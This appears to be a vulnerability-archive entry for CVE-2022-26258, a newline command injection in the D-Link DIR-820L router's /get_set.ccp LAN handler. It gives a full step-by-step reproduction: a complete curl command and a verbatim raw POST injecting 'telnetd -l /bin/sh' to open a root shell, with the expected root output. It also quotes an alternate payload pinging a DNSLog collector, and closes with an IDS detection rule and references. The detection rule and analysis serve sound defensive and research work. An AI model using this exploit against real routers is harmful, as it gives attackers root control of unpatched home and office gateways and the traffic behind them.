D-Link DIR-820L `get_set.ccp` LAN Configuration OS Command Injection (CVE-2022-26258)

Metadata

Affected Target

Summary

D-Link DIR-820L firmware 1.05B03 contains an OS command injection (CWE-78) in the router’s /get_set.ccp LAN-configuration handler. The lanHostCfg_DeviceName_1.1.1.0 parameter (submitted from the “Device Name” field on the lan.asp LAN setup page) is filtered by both client-side JavaScript and a backend routine (hasInjectionString, implemented in lib/libleopard.so), but that backend filter does not strip the newline character (\n / %0a). An attacker who can reach the router’s HTTP management interface can submit a crafted ccp_act=set POST request with a newline-delimited shell command embedded in the device name field, which is executed with the privileges of the router’s management process — giving full remote command execution on the device. The vulnerability is unauthenticated per its CVSS vector and NVD/CISA characterization, is in the CISA Known Exploited Vulnerabilities (KEV) catalog since 2022-09-08, and affects a device D-Link has declared end-of-life with no firmware fix planned.

Vulnerability Details

Root Cause

The LAN configuration handler behind /get_set.ccp takes the lanHostCfg_DeviceName_1.1.1.0 form field and, before further processing, passes it through a filter function hasInjectionString located in lib/libleopard.so. That filter blocks a set of characters/strings typically associated with command injection but fails to filter the newline character. Because the device name value is later used in a context where it reaches a shell/system()-style command execution sink on the router (consistent with NVD’s classification as CWE-78, OS Command Injection), an attacker-supplied newline lets them terminate the intended parameter value and inject an arbitrary shell command that the device will execute verbatim. Client-side (JavaScript) filtering on the lan.asp page provides no real protection since the request can simply be crafted or replayed directly against the backend endpoint with a HTTP client (e.g., via Burp Suite), bypassing the browser entirely.

Attack Vector

Unauthenticated (per CVSS PR:N) HTTP POST to /get_set.ccp on the router’s LAN management interface, with ccp_act=set and a lanHostCfg_DeviceName_1.1.1.0 value containing a %0a-delimited shell command, e.g. %0atelnetd -l /bin/sh%0a. No authenticated session, valid credentials, or user interaction beyond delivering the single POST request is required to trigger the injection.

Impact

Full remote command execution on the router as the privileged process handling /get_set.ccp — in practice root or near-root on the embedded Linux OS, since router management daemons on this class of device typically run unsandboxed. The public PoC’s payload spawns a root telnetd shell (telnetd -l /bin/sh) bound on the device, giving the attacker an interactive shell, full LAN pivot capability, firmware/config tampering, and persistent backdoor access. Given the device also functions as a home/SOHO gateway, compromise exposes all traffic and hosts behind it.

Environment / Lab Setup

Target:      D-Link DIR-820L, firmware 1.05B03 (device is EOL; original firmware images for lab
             reproduction are archived in third-party GitHub mirrors such as skyedai910/Vuln,
             which bundles DIR820LA1_FW105B03.bin)
Attacker:    Any HTTP client on the same network segment as the router's LAN interface
             (curl, Burp Suite Repeater, or a short Python/requests script)
Tools:       curl / Burp Suite / netcat or a telnet client to catch the resulting shell

Setup Steps

Proof of Concept

This entry is grounded directly in the public PoC published by the discoverers (SkYe231/Akast/GD/Amao, Hillstone Networks), originally at skyedai910/Vuln — DIR-820L/command_execution_0 (that repository has since been deleted/is no longer resolvable on GitHub as of 2026-07-11). The content is preserved at the mirror kkx600/cve_info_data, which is the live source used here — it also includes the original firmware image (DIR820LA1_FW105B03.bin), screenshots, and a demo video. The request below is reproduced verbatim from that source, not reconstructed or invented.

Step-by-Step Reproduction

1. Step 1 — Reach the router’s LAN management interface and confirm the lan.asp LAN setup page is present (this is the page whose form POSTs to /get_set.ccp).

2. Step 2 — Intercept (or hand-craft) the lan.asp “save” request. The vulnerable parameter is lanHostCfg_DeviceName_1.1.1.0. Set it to a newline-delimited command, e.g.:

   lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh%0a
   

3. Step 3 — Send the full crafted POST directly to /get_set.ccp (bypassing the page’s client-side JS filtering entirely, e.g. via Burp Repeater or curl):

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

   curl -i -k "http://192.168.0.1/get_set.ccp" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "X-Requested-With: XMLHttpRequest" \ -H "Referer: http://192.168.0.1/lan.asp" \ -H "Cookie: hasLogin=1" \ --data-urlencode "ccp_act=set" \ --data-urlencode "old_ip=192.168.0.1" \ --data-urlencode "old_mask=255.255.255.0" \ --data-urlencode "new_ip=192.168.0.1" \ --data-urlencode "new_mask=255.255.255.0" \ --data-urlencode "nextPage=lan.asp" \ --data-urlencode "lanHostCfg_IPAddress_1.1.1.0=192.168.0.1" \ --data-urlencode "lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0" \ --data-urlencode "lanHostCfg_DomainName_1.1.1.0=" \ --data-urlencode "lanHostCfg_DNSRelay_1.1.1.0=1" \ --data-urlencode "lanHostCfg_DHCPServerEnable_1.1.1.0=1" \ --data-urlencode "lanHostCfg_MinAddress_1.1.1.0=192.168.0.100" \ --data-urlencode "lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200" \ --data-urlencode "lanHostCfg_DHCPLeaseTime_1.1.1.0=1440" \ --data-urlencode $'lanHostCfg_DeviceName_1.1.1.0=\ntelnetd -l /bin/sh\n' \ --data-urlencode "lanHostCfg_AlwaysBroadcast_1.1.1.0=0" \ --data-urlencode "lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0" \ --data-urlencode "lanHostCfg_NetBIOSLearn_1.1.1.0=0" \ --data-urlencode "lanHostCfg_NetBIOSScope_1.1.1.0=" \ --data-urlencode "lanHostCfg_NetBIOSNodeType_1.1.1.0=2" \ --data-urlencode "lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0" \ --data-urlencode "lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0"

4. Step 4 — Connect to the router on the standard telnet port (23) to obtain the spawned root shell:

   1	telnet 192.168.0.1

Original PoC Raw Request

The raw HTTP request as published by the original researchers (reproduced exactly, including the hasLogin=1 cookie they captured from their own test session):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 768
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/lan.asp
Cookie: hasLogin=1

ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1645537536373=1645537536373

The researchers’ companion Chinese-language writeup for the same PoC shows an alternate payload using an out-of-band ping to a DNSLog collector instead of spawning telnetd — lanHostCfg_DeviceName_1.1.1.0=%0aping ccak2r.dnslog.cn%0a — confirming the injection point accepts arbitrary shell commands, not just the telnetd example.

Exploit Code

No standalone exploit script (e.g. exploit.py) was published in the source repository — the researchers’ PoC consists solely of the raw HTTP request shown above, to be replayed with a proxy tool (Burp Suite) or a raw HTTP client. This entry does not fabricate a scripted wrapper beyond the direct curl translation in Step 3, which mirrors the raw request field-for-field.

Expected Output

$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
uid=0(root) gid=0(root)

Screenshots / Evidence

The original researchers’ writeup includes a screenshot of the vulnerable Device Name field/injection point (img/image-20220222165316794.png in their repository); it was not re-hosted in this archive. No screenshots were captured independently for this entry — see the source repository linked in References for the original evidence.

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"D-Link DIR-820L get_set.ccp DeviceName command injection attempt (CVE-2022-26258)"; content:"POST"; http_method; content:"/get_set.ccp"; http_uri; content:"lanHostCfg_DeviceName_1.1.1.0="; http_client_body; content:"%0a"; http_client_body; distance:0; sid:9000101; rev:1;)

Remediation

References

• CVE-2022-26258 — NVD
• CISA Known Exploited Vulnerabilities Catalog (CVE-2022-26258 added 2022-09-08)
• Public PoC (live mirror) — kkx600/cve_info_data, DIR-820L/command_execution_0 — original source skyedai910/Vuln has since been deleted from GitHub (confirmed 404 as of 2026-07-11); this mirror is now the primary reference
• GitHub Advisory Database — GHSA-qf97-3r3x-x56v
• D-Link Support Announcement SAP10295 — DIR-820L End of Life
• Rapid7 Vulnerability & Exploit Database — DIR-820L CVE-2022-26258
• CSA Singapore Advisory — Active Exploitation of Critical Vulnerabilities in D-Link Routers

Notes

This entry was surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) run on 2026-07-11 and ingested from public sources; no original research was performed for this entry beyond compiling and cross-checking the cited sources. The Proof of Concept section reproduces the raw HTTP request exactly as published by the original discoverers (SkYe231/Akast/GD/Amao, Hillstone Networks) at skyedai910/Vuln — it was fetched and read directly rather than reconstructed from memory.

Caveat on the “unauthenticated” classification: NVD’s CVSS vector for this CVE sets PR:N (no privileges required), and CISA/NVD both describe it without an authentication precondition, which is why this entry is tagged unauthenticated. However, the researchers’ own captured request does include Cookie: hasLogin=1. Neither the public PoC writeup nor the NVD/CISA records available to this research pass explain whether hasLogin=1 is a server-validated session token (which would make this technically post-auth-bypass, not fully unauthenticated) or a client-settable flag the backend does not actually verify (consistent with PR:N and with the broader pattern of weak/absent session validation on this device class). This entry follows the NVD/CISA/vendor-advisory consensus classification of “unauthenticated,” but flags the discrepancy honestly rather than resolving it without independent verification against real hardware.

End-of-life status — confirmed. D-Link’s own support bulletin (SAP10295) states the DIR-820L, across all hardware revisions, has reached End of Life/End of Service, that D-Link recommends retiring and replacing the device, and that no further firmware development is planned. CISA’s KEV catalog entry for this CVE separately notes the product is end-of-life and should be disconnected if still in use. No firmware patch for CVE-2022-26258 exists or is planned.

Facts that could not be independently verified in this research pass: the exact internal function/sink where the injected command reaches system()/exec() (the source PoC names the filter function hasInjectionString in lib/libleopard.so but does not show a decompiled sink, unlike some other entries in this archive that include IDA-derived call chains); whether firmware versions other than the confirmed 1.05B03 are affected; and whether the WAN-side interface is ever exposed by default (assumed LAN-only based on the nature of the endpoint, consistent with typical SOHO router defaults, but not explicitly stated in any source consulted).